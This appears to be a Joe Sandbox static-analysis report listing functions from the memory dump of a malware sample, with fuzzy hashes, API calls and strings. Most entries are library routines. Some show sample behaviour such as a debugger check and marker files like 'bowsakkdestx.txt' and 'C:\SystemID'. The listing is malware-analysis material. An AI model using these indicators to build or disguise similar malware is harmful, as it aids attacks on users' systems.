Opcode ID: cec20dc94eea93260f8f1a03c5a4f6d1a6107b38a2b917b0c89c9f691c6c4a85
Instruction ID: 445f5c97f97310cbd08f0009147839d9c604c92f3643d32107fe893a2d7397f3
Opcode Fuzzy Hash: cec20dc94eea93260f8f1a03c5a4f6d1a6107b38a2b917b0c89c9f691c6c4a85
Instruction Fuzzy Hash: 74F0F97560022D66CB00AF99EC56EDE7BECDF04315F40456FFC04A2282DBBCAA4486DD

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA10 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24registryCOMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
RegisterClassExW.USER32(00000030), ref: 0041BA73

Strings

0, xrefs: 0041BA1D
LPCWSTRszWindowClass, xrefs: 0041BA65

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: ClassCursorLoadRegister
String ID: 0$LPCWSTRszWindowClass
API String ID: 1693014935-1496217519
Opcode ID: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction ID: 39b267f2af3e8e8601893d5e13e9f0aceec8bb1d15aa8544f670d774de374bdc
Opcode Fuzzy Hash: fbf28ebe5b3b724a216796b7602f5ba5b22e3d17e3910e7f530213bb4edbfbf6
Instruction Fuzzy Hash: 64F0AFB0C042089BEB00DF90D9597DEBBB8BB08308F108259D8187A280D7BA1608CFD9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C420 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 0040C438
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 0040C44E
DeleteFileA.KERNEL32(?), ref: 0040C45B

Strings

bowsakkdestx.txt, xrefs: 0040C442

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Path$AppendDeleteFileFolder
String ID: bowsakkdestx.txt
API String ID: 610490371-2616962270
Opcode ID: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction ID: 22f96f022367e4ecd8cb06d74e3ea6c1a096c1ee21cc35b9366b07434c4c4e8f
Opcode Fuzzy Hash: 51c9fbb63abd04c953cc1c90cd388c2580edec88c84091088bf86cba3f20ed90
Instruction Fuzzy Hash: 60E0807564031C67DB109B60DCC9FD5776C9B04B01F0000B2FF48D10D1D6B495444E55

Uniqueness

Uniqueness Score: -1.00%

Function 00419E70 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00419EB8
_memset.LIBCMT ref: 00419EC9
_memset.LIBCMT ref: 00419EDA

Strings

p2Q, xrefs: 00419EE2

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 738f0ca8778653557991c93ab9a04937910ac7dae49cf0696bf478295a84fdc8
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: C5F03028684750A5F7107750BC667953EC1A735B08F404048E1142A3E2D7FD338C63DD

Uniqueness

Uniqueness Score: -1.00%

Function 0040ECB0 Relevance: 6.2, APIs: 4, Instructions: 204COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040ED66
_memmove.LIBCMT ref: 0040EE25

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memmove_strtok
String ID:
API String ID: 3446180046-0
Opcode ID: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction ID: d0e58e2a66e8e3875a5229d26ee444e1e0210206766639419d48370c530ec9d7
Opcode Fuzzy Hash: 205b1ec61ce906ac0e6ef9ac2fb6feb778f8951e500b67679f42a44b4349684c
Instruction Fuzzy Hash: 7F81B07160020AEFDB14DF59D98079ABBF1FF14304F54492EE40567381D3BAAAA4CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00422130 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042218E
__read_nolock.LIBCMT ref: 0042225E
__filbuf.LIBCMT ref: 00422281
_memset.LIBCMT ref: 004222C5

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction ID: 8e6e0b0b404069c1ace538d88af1fa9e5aae20a8402e44ab6f3f0d96efeb0f41
Opcode Fuzzy Hash: 2663944f2ecd2356e6bc0f9128c733698aaf16daf3cf10d514d26d316ebfdedf
Instruction Fuzzy Hash: 9A51D830B00225FBCB148E69AA40A7F77B1AF11320F94436FF825963D0D7B99D61CB69

Uniqueness

Uniqueness Score: -1.00%

Function 0043C677 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0043C6AD
__isleadbyte_l.LIBCMT ref: 0043C6DB
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C709
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 0043C73F

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction ID: 9bb69ce0c337472f3e835d3bfc0adb25a23875f1fe15b1d3b69bac0ae3c4b713
Opcode Fuzzy Hash: 5d9d0dd00b9c666e2ffb8edf641007e90d7f333e82c154efbd4b40f2329fca1d
Instruction Fuzzy Hash: 4E31F530600206EFDB218F75CC85BBB7BA5FF49310F15542AE865A72A0D735E851DF98

Uniqueness

Uniqueness Score: -1.00%

Function 0040F0E0 Relevance: 6.1, APIs: 4, Instructions: 86filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000002,00000000,00000002,00000080,00000000), ref: 0040F125
lstrlenA.KERNEL32(?,?,00000000), ref: 0040F198
WriteFile.KERNEL32(00000000,?,00000000), ref: 0040F1A1
CloseHandle.KERNEL32(00000000), ref: 0040F1A8

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleWritelstrlen
String ID:
API String ID: 1421093161-0
Opcode ID: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction ID: 4e0a1a2928686de7afe91093b481d52cb6f90b47dd46c4e49af8be4df8d63ea4
Opcode Fuzzy Hash: d7c53c20fb31498ecb2e6d2948be234b538ea12271a6e43a57747494780a16e1
Instruction Fuzzy Hash: DF31F531A00104EBDB14AF68DC4ABEE7B78EB05704F50813EF9056B6C0D7796A89CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 004C7094 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 004C70AB

Part of subcall function 004C77A0: ___BuildCatchObjectHelper.LIBCMT ref: 004C77D2
Part of subcall function 004C77A0: ___AdjustPointer.LIBCMT ref: 004C77E9

_UnwindNestedFrames.LIBCMT ref: 004C70C2
___FrameUnwindToState.LIBCMT ref: 004C70D4
CallCatchBlock.LIBCMT ref: 004C70F8

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: e860502f941f6c9850043d2e9c4655f99114053cf07e0eb82383b029c5c3ae24
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2C011736000108BBCF526F56CC01FDA3FAAEF48718F15801EF91866121D33AE9A1DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004253B3 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00425007: __getptd_noexit.LIBCMT ref: 00425008
Part of subcall function 00425007: __amsg_exit.LIBCMT ref: 00425015

__calloc_crt.LIBCMT ref: 00425A01

Part of subcall function 00428C96: __calloc_impl.LIBCMT ref: 00428CA5

__lock.LIBCMT ref: 00425A37
___addlocaleref.LIBCMT ref: 00425A43
__lock.LIBCMT ref: 00425A57

Part of subcall function 00425208: __getptd_noexit.LIBCMT ref: 00425208

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __getptd_noexit__lock$___addlocaleref__amsg_exit__calloc_crt__calloc_impl
String ID:
API String ID: 2580527540-0
Opcode ID: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction ID: 8e8bf19fb99f986105457608807abe9f1de148b308aa0ea96eb71ffb67844566
Opcode Fuzzy Hash: 3969c2aeef3154995e76024b80c076f82dc7aa98e25c938a71a0b2bc9f16ca02
Instruction Fuzzy Hash: A3018471742720DBD720FFAAA443B1D77A09F40728F90424FF455972C6CE7C49418A6D

Uniqueness

Uniqueness Score: -1.00%

Function 004409B9 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 004409DD

Part of subcall function 004410FD: __fltout2.LIBCMT ref: 00441126

__cftog_l.LIBCMT ref: 00440A03
__cftoe_l.LIBCMT ref: 00440A35

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 47779ad8523d68e9f2e2bd7ddfa488ab055a33a4313e19cc57a45add4f9be60e
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: B6014E7240014EBBDF125E85CC428EE3F62BB29354F58841AFE1968131C63AC9B2AB85

Uniqueness

Uniqueness Score: -1.00%

Function 004127A0 Relevance: 6.0, APIs: 4, Instructions: 39stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 004127B9
_malloc.LIBCMT ref: 004127C3

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00840000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 004127CE
WideCharToMultiByte.KERNEL32(?,00000000,?,000000FF,00000000,00000001,00000000,00000000), ref: 004127E4

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction ID: 750470dcacb0e1f47d667e481962336cdcd22eeec5e51d764cc358051e51787a
Opcode Fuzzy Hash: 09908775b5e5bc8df4309979956ae60541863bcf2bd73145411733e911d939f3
Instruction Fuzzy Hash: C6F02735701214BBE72066669C8AFBB769DEB86764F100139F608E32C2E9512D0152F9

Uniqueness

Uniqueness Score: -1.00%

Function 00412800 Relevance: 6.0, APIs: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32 ref: 00412806
_malloc.LIBCMT ref: 00412814

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(00840000,00000000,00000001,?,?,?,?,00423B69,?), ref: 00420CA5

_memset.LIBCMT ref: 0041281F
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000), ref: 00412832

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: AllocateByteCharHeapMultiWide_malloc_memsetlstrlen
String ID:
API String ID: 2824100046-0
Opcode ID: efacfe8a7822f511a106dcd20e6e7bf1a1e7fcbd7ce4ae236d875aaf3405b2f1
Instruction ID: a3b2a97d17252553cb1267f0baabe0c67c158e4fedc78561389223423b5350a8
Opcode Fuzzy Hash: efacfe8a7822f511a106dcd20e6e7bf1a1e7fcbd7ce4ae236d875aaf3405b2f1
Instruction Fuzzy Hash: 74E086767011347BE510235B7C8EFAB665CCBC27A5F50012AF615D22D38E941C0185B4

Uniqueness

Uniqueness Score: -1.00%

Function 00414920 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 319COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004149F1

Strings

invalid string position, xrefs: 00414C3D
string too long, xrefs: 00414C33

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction ID: e15d95b7bc4e28eadeb147f52893af2b9f74cdff9e85ed34d7497a2036010d09
Opcode Fuzzy Hash: 6b6c026794a5df2e3fdb14e42bcdc4c864f1c14e00cdd800f0752a2c1f007913
Instruction Fuzzy Hash: 86C15C70704209DBCB24CF58D9C09EAB3B6FFC5304720452EE8468B655DB35ED96CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00470040 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 201COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00470118
_memset.LIBCMT ref: 00470199

Strings

.\crypto\asn1\tasn_new.c, xrefs: 004700F9, 0047017A, 00470202, 00470228

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memset
String ID: .\crypto\asn1\tasn_new.c
API String ID: 2102423945-2878120539
Opcode ID: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction ID: a01d7b69f66ede694d5e1501cc12839462a5262961aeb872149f1145b0afa5c3
Opcode Fuzzy Hash: 71e1991ce2e3632dc73bc3e3216da1e10f6e2bb0c3d1e289869c94216a61690f
Instruction Fuzzy Hash: 5D510971342341A7E7306EA6AC82FB77798DF41B64F04442BFA0CD5282EA9DEC44817A

Uniqueness

Uniqueness Score: -1.00%

Function 00417D50 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 179COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00417E2E

Strings

invalid string position, xrefs: 00417EDF
string too long, xrefs: 00417EE9

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction ID: 388339a757d446dde0ac97e241c54aefb3b464f1a8010d5a2c21a1bfa385432d
Opcode Fuzzy Hash: 964545c748993364f79d16a0f131f75f7c6f97d2359d890db139b78c498e4dd2
Instruction Fuzzy Hash: AC517F317042099BCF24DF19D9808EAB7B6FF85304B20456FE8158B351DB39ED968BE9

Uniqueness

Uniqueness Score: -1.00%

Function 0041B185 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0041B1BA

Part of subcall function 004111C0: CreateFileW.KERNEL32(?,C0000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 0041120F
Part of subcall function 004111C0: GetFileSizeEx.KERNEL32(00000000,?), ref: 00411228
Part of subcall function 004111C0: CloseHandle.KERNEL32(00000000), ref: 0041123D
Part of subcall function 004111C0: MoveFileW.KERNEL32(?,?), ref: 00411277

Part of subcall function 0041BA10: LoadCursorW.USER32(00000000,00007F00), ref: 0041BA4A
Part of subcall function 0041BA10: RegisterClassExW.USER32(00000030), ref: 0041BA73

Part of subcall function 0041BA80: CreateWindowExW.USER32(00000000,LPCWSTRszWindowClass,LPCWSTRszTitle,00CF0000,80000000,00000000,80000000,00000000,00000000,00000000,?,00000000), ref: 0041BAAD

GetMessageW.USER32(?,00000000,00000000,00000000), ref: 0041B4B3
TranslateMessage.USER32(?), ref: 0041B4CD
DispatchMessageW.USER32(?), ref: 0041B4D7

Strings

I:\5d2860c89d774.jpg, xrefs: 0041B32F
%username%, xrefs: 0041B283

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: FileMessage$Create$ClassCloseCursorDispatchHandleLoadMoveNameRegisterSizeTranslateUserWindow
String ID: %username%$I:\5d2860c89d774.jpg
API String ID: 441990211-897913220
Opcode ID: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction ID: 53fb4cb99f7e95a824910e08ad4bb0dd21933b0d591bc71827c80b4e91f39c04
Opcode Fuzzy Hash: 57ecfa34f23d78a1e26d0b496c5de0e3008a9e2e419c5c8680807d27605a0cc3
Instruction Fuzzy Hash: 015188715142449BC718FF61CC929EFB7A8BF54348F40482EF446431A2EF78AA9DCB96

Uniqueness

Uniqueness Score: -1.00%

Function 004516A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

Strings

unknown, xrefs: 0045175D
.\crypto\err\err.c, xrefs: 004516A5, 004516C4, 004516DB, 004516EE, 0045170D, 00451777

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID:
String ID: .\crypto\err\err.c$unknown
API String ID: 0-565200744
Opcode ID: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction ID: d1206a4052711c5ef0d05e5a1f97d3c0da723a5ab1c334b9285c6dd525f2274c
Opcode Fuzzy Hash: 9dae3d662d88e5d53485dd14566563c9255a5f0e4e3b7cf97cf97a7a2e17faf8
Instruction Fuzzy Hash: 72117C69F8070067F6202B166C87F562A819764B5AF55042FFA482D3C3E2FE54D8829E

Uniqueness

Uniqueness Score: -1.00%

Function 00424168 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 0042419D
IsDebuggerPresent.KERNEL32(?,?,00000001), ref: 00424252

Strings

i;B, xrefs: 00424168

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: DebuggerPresent_memset
String ID: i;B
API String ID: 2328436684-472376889
Opcode ID: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction ID: b2deef9000060817df5d9888a0c5d5c31052404ed3c7d79a7a675bf972ea9145
Opcode Fuzzy Hash: 0bc333208f10a2510305f30f60194ffc8a1e9bc236dda87ca461c0d5e10d6844
Instruction Fuzzy Hash: 3231D57591122C9BCB21DF69D9887C9B7B8FF08310F5042EAE80CA6251EB349F858F59

Uniqueness

Uniqueness Score: -1.00%

Function 0042A77E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0042AB93
___raise_securityfailure.LIBCMT ref: 0042AC7A

Strings

8Q, xrefs: 0042AC75

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: 8Q
API String ID: 3761405300-2096853525
Opcode ID: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction ID: cc78ca7643d31f84c049b3cf87471233b0d3094e131d8c276326ba2ae67c1d9c
Opcode Fuzzy Hash: eccf15afe34b7bdc1ccbb155ef79912499653c52d5481e078dd775b5985af611
Instruction Fuzzy Hash: 4F21FFB5500304DBD750DF56F981A843BE9BB68310F10AA1AE908CB7E0D7F559D8EF45

Uniqueness

Uniqueness Score: -1.00%

Function 00413C40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception.LIBCPMT ref: 00413CA0

Part of subcall function 00423B4C: _malloc.LIBCMT ref: 00423B64

_memset.LIBCMT ref: 00413C83

Strings

vector<T> too long, xrefs: 00413C96

Memory Dump Source

Source File: 00000002.00000002.2091173662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2091173662.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2091173662.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rq0mVjR9ar.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Concurrent_queue_base_v4::_Internal_throw_exception_malloc_memset
String ID: vector<T> too long
API String ID: 1327501947-3788999226
Opcode ID: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction ID: e8ff6f7d1438dbc4cc0d31425bbcf17e71e6c586c3cd126e38002517ea96b8c1
Opcode Fuzzy Hash: 13dbab4e4c979af06a9cf2652985864a633ab205e3cc78c94b6fadd0ced0ada8
Instruction Fuzzy Hash: AB0192B25003105BE3309F1AE801797B7E8AF40765F14842EE99993781F7B9E984C7D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C919 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(C:\SystemID,00000000), ref: 0040C94B
